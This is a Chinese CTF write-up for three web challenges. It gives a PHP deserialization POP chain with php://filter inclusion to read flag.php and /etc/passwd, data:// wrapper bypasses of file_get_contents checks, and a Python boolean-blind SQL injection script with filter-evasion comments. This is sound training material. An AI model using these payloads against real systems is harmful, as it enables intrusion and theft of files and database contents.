首页 > 其他分享 >第一届山城杯初赛Web-WriteUp

第一届山城杯初赛Web-WriteUp

时间:2023-06-12 13:55:59浏览次数:36  
标签:notthis Web 序列化 get WriteUp 初赛 flag php public

Web writeup:

Web1(Lesen):

考点:

文件包含 反序列化 伪协议

界面:

image-20230526212624496

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$from = $_GET['from'];
$to = $_GET['to'];
if(!isset($from) or !isset($to) or stripos($from, "flag")!=FALSE)
{
    $from = "behind.php";
}

include($from);// read flag.php

if(isset($to))
{
    $a = unserialize($to);
    $a->sayTheFlag();
}

分析:

需get传递两个参数from,to。

1.'from'不能包含"flag"字符串,否则默认值为"behind.php"。

2.'to'变量需要反序列化一个对象。

这里还不知道to需要跟啥参数,利用伪协议先用from读取behind.php或index.php源码

http://192.168.10.221:58001/?from=php://filter/convert.base64-encode/resource=behind.php&to=

image-20230526170837296

解码:

<?php
error_reporting(0);
class Test
{
        public $notthis;
        public $variable;
        public function __call($t1, $t2)
        {
            print($this->notthis);
        }

}
class NoUse
{
        public $notthis;
        public $class;
        public function __toString()
        {
            return file_get_contents($this->notthis);
        }
}
?>

分析:

分析behind.php源码,index.php里调用sayTheFlag(),方法不存在,会自动调用call()魔术方法,接着print一个对象,就会自动调用其toString(),实现最终目标file_get_contents()读flag。流程:sayTheFlag() -> Test::__call() -> NoUse::__toString() -> file_get_contents()

image-20230526213308288

总结:这里其实有两种思路,分别从from,to入手,反序列化肯定是正解,第一个需fuzz没有被ban的过滤器。

1.从from读取flag.php

2.从to构造反序列化,读取flag.php

实例化代码,构造反序列化链,伪协议读flag.php转换base64,最后序列化并URL编码

<?php
    error_reporting(0);
    class Test
    {
            public $notthis;
            public $variable;
            public function __call($t1, $t2)
            {
                print($this->notthis);
            }

    }
    class NoUse
    {
            public $notthis;
            public $class;
            public function __toString()
            {
                return file_get_contents($this->notthis);
            }
    }

    $a = new Test();
    $a->notthis = new NoUse();
    $a->notthis->notthis = 'php://filter/read=convert.base64-encode/resource=flag.php';

    print(urlencode(serialize($a)));
    // print(serialize($a));
?>

错误自定义单链:但只能读passwd

/?to=O:4:"Test":1:{s:7:"notthis";O:5:"NoUse":1:{s:7:"notthis";s:5:"/etc/passwd";}}

实例化,构造反序列化链,先调call再调tostring。

/?to=O:4:"Test":2:{s:7:"notthis";O:5:"NoUse":2:{s:7:"notthis";s:8:"flag.php";s:5:"class";N;}s:8:"variable";N;}

image-20230526171329221

Web2(One Two Three):

考点:

PHP伪协议

界面:

image-20230526171944327

源码:

<?php

highlight_file(__FILE__);
error_reporting(0);
include("ans.php");

if(isset($_GET["one"]) && isset($_GET["two"]) && isset($_POST["three"]))
{
    $one = $_GET["one"];
    $two = $_GET["two"];

    $three = $_POST["three"];
    if(!empty($one) && !empty($two) && !empty($three))
    {
        if(file_get_contents($two) === "g00dJ0b" and file_get_contents($three) ===  "onTh1s")
        {
            var_dump($one);
            include($one);
        }
    }
    else
        die("Insufficient Parameters");
} D0n't try t0 tr1ck me!

利用data伪协议绕过file_get_contents(),one使用php伪协议读取ans.php,构造利用条件

Payload:

http://192.168.10.221:58002/?one=php://filter/convert.base64-encode/resource=ans.php&two=data://text/plain,g00dJ0b

post:three=data://text/plain,onTh1s

image-20230526172231260

解码:

image-20230526172247465

Web3(ScoreQuery):

考点:布尔盲注

界面:

image-20230526171630061

经过fuzz发现,所有常见如' " or select union and等关键字被过滤了但是'' sleep()等成功执行,推测盲注。

import requests
import string

flagstr = "1234567890qwertyuiopasdfghjklzxcvbnm}{-"
flag = ''
url = "http://192.168.10.221:58003/"
 
for i in range(1,45):
    for c in flagstr:
        tmp = url + "?id=0'/**/or/**/substr((select/**/F1ag/**/from/**/TheFl4g),{},1)='{}'%23".format(i,c)
        res = requests.get(tmp)
        if len(res.text) == 2263:
            flag += c
            print(flag)
            break

标签:notthis,Web,序列化,get,WriteUp,初赛,flag,php,public
From: https://www.cnblogs.com/via-liabs/p/17474713.html

相关文章

  • 2023年第三届陕西省大学生网络安全技能大赛本科组web官方-writup
    题目列表:ezpop题目描述题目名称ezpop题目难度★题目分值1000考察知识点一点前端小知识,构造POP链,fastdestruct和Unicode解题步骤第一步题目信息:访问题目页面查看信息。第二步解题过程:访问题目发现要求ClickMe,但是点不动,尝试F12,右键和Ctrl+U发现均会关闭......
  • 【课设】JavaWeb
    课程设计 论文题目 校园o2o小卖铺(商家端) 云平台网址(管理端):150.158.50.130摘   要在高校中,学生对于小卖铺有着强烈的需求,学生希望在网络上便可以实现商品的购买,商家希望通过网络推广自己的商店。特别是在校园存在疫情的情况下,学生更加愿意通过网络对小卖铺下单,这......
  • 常用的webshell管理工具的流量特征 4
    一、菜刀流量特征最开始是明文传输,后来采用base64加密:PHP类WebShell链接流量如下:第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;第二:(base64_decode(POST[z0])),(base64decode(_POST[z0])),(base64_decode(POST[z0])),(base64ecode(_PO......
  • Selenium测试本地web登录
    首先在py项目上配置selenium配置好了之后上代码(末尾有完整代码)首先导包fromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webdriver.support.selectimportSelect登录界面的网址driver.get('http://localhost:8889/xuejiguanl......
  • Jmeter测试本地web登录接口
    安装配置Jmeter下载下来就是一个包,我下的是5.4.3版本的 去bin目录下找到Jmeter.bat 点击运行 语言的修改问题可以去配置文件里面改,也可以下载汉化包,具体教程自己搜 首先添加线程组 添加http请求   添加查看结果树 运行 ......
  • JavaWeb开发与代码的编写(十八)
    JavaWeb开发与代码的编写(十八)Filter(过滤器)Filter也称之为过滤器,它是Servlet技术中最激动人心的技术,WEB开发人员通过Filter技术,对web服务器管理的所有web资源:例如Jsp,Servlet,静态图片文件或静态html文件等进行拦截,从而实现一些特殊的功能。例如实现URL级别的权限访问控......
  • 访问利用windows IIS 搭建的webdav出现500、403等代码的解决方案
    服务端在IIS中启用webDav添加创作规则(如第1张图)启用「身份验证」(如第2、3张图)防火墙设置将「在IIS中对该webDav站点设置的端口」设为「例外」或直接关闭防火墙重启该IIS站点(可选)客户端下载地址(选一即可):Windows64位https://www.123pan.com/s/FfztVv-DxNn3.html......
  • Web安全-渗透测试-信息收集01
    CDNCDN的全称是ContentDeliveryNetwork,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。但在安全测试过程中,若目标......
  • 2023安洵杯web两道WP
    WebCarelessPy在首页提示存在eval和login的路由,在download存在任意文件下载访问eval可以读取目录下的文件,知道/app/pycache/part.cpython-311.pyc路径,然后使用download下载下来,进行反编译使用在线工具进行反编译,得到session的key然后对session进行伪造登录成功一看就......
  • 软件测试|web自动化测试神器playwright教程(十五)
    前言我们在日常工作中,会经常遇到弹出警告框的问题,弹框无法绕过,必须处理才可以执行后续的测试,所以弹框处理也是我们必须掌握的一个知识。弹框通常分为3种,分别为alert,confirm,promot。alert弹框:只有信息和确定按键confirm弹框:在alert弹窗基础上增加了取消按钮prompt弹框:在confirm的基......